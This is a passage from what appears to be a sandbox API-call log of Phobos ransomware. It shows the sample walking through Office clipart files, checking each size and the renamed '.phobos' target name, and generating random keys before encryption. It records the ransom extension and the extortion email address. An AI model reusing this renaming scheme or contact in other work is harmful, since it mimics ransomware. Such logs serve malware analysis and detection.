lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.735] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=25799) returned 1 [0153.735] CloseHandle (hObject=0x528) returned 1 [0153.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif")) returned 0x220 [0153.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.735] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.736] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=94016) returned 1 [0153.736] CloseHandle (hObject=0x528) returned 1 [0153.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp")) returned 0x220 [0153.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02750u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.737] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.737] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=50050) returned 1 [0153.737] CloseHandle (hObject=0x528) returned 1 [0153.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif")) returned 0x220 [0153.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.738] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.739] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31752) returned 1 [0153.739] CloseHandle (hObject=0x528) returned 1 [0153.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp")) returned 0x220 [0153.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02752u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.739] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.741] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=108216) returned 1 [0153.741] CloseHandle (hObject=0x528) returned 1 [0153.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp")) returned 0x220 [0153.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.741] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.741] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.742] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=108504) returned 1 [0153.742] CloseHandle (hObject=0x528) returned 1 [0153.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp")) returned 0x220 [0153.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.743] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.743] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.744] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=108504) returned 1 [0153.744] CloseHandle (hObject=0x528) returned 1 [0153.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp")) returned 0x220 [0153.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.744] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.747] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=197640) returned 1 [0153.747] CloseHandle (hObject=0x528) returned 1 [0153.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp")) returned 0x220 [0153.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.747] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.748] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=197640) returned 1 [0153.749] CloseHandle (hObject=0x528) returned 1 [0153.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp")) returned 0x220 [0153.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.749] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.754] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=198648) returned 1 [0153.754] CloseHandle (hObject=0x528) returned 1 [0153.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp")) returned 0x220 [0153.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.754] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.755] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=41170) returned 1 [0153.755] CloseHandle (hObject=0x528) returned 1 [0153.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg")) returned 0x220 [0153.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02759J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02759j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.756] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.757] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=50647) returned 1 [0153.757] CloseHandle (hObject=0x528) returned 1 [0153.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg")) returned 0x220 [0153.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02810J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02810j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.757] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.758] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=62520) returned 1 [0153.758] CloseHandle (hObject=0x528) returned 1 [0153.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg")) returned 0x220 [0153.759] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02829J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02829j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.759] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.761] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12530) returned 1 [0153.761] CloseHandle (hObject=0x528) returned 1 [0153.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif")) returned 0x220 [0153.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02845G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02845g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.761] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0153.762] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15429) returned 1 [0153.762] CloseHandle (hObject=0x528) returned 1 [0153.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg")) returned 0x220 [0153.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH02897J.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph02897j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.763] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.936] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15478) returned 1 [0153.936] CloseHandle (hObject=0x588) returned 1 [0153.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp")) returned 0x220 [0153.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.936] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.936] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.937] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3292) returned 1 [0153.937] CloseHandle (hObject=0x588) returned 1 [0153.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01040_.wmf")) returned 0x220 [0153.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01040_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 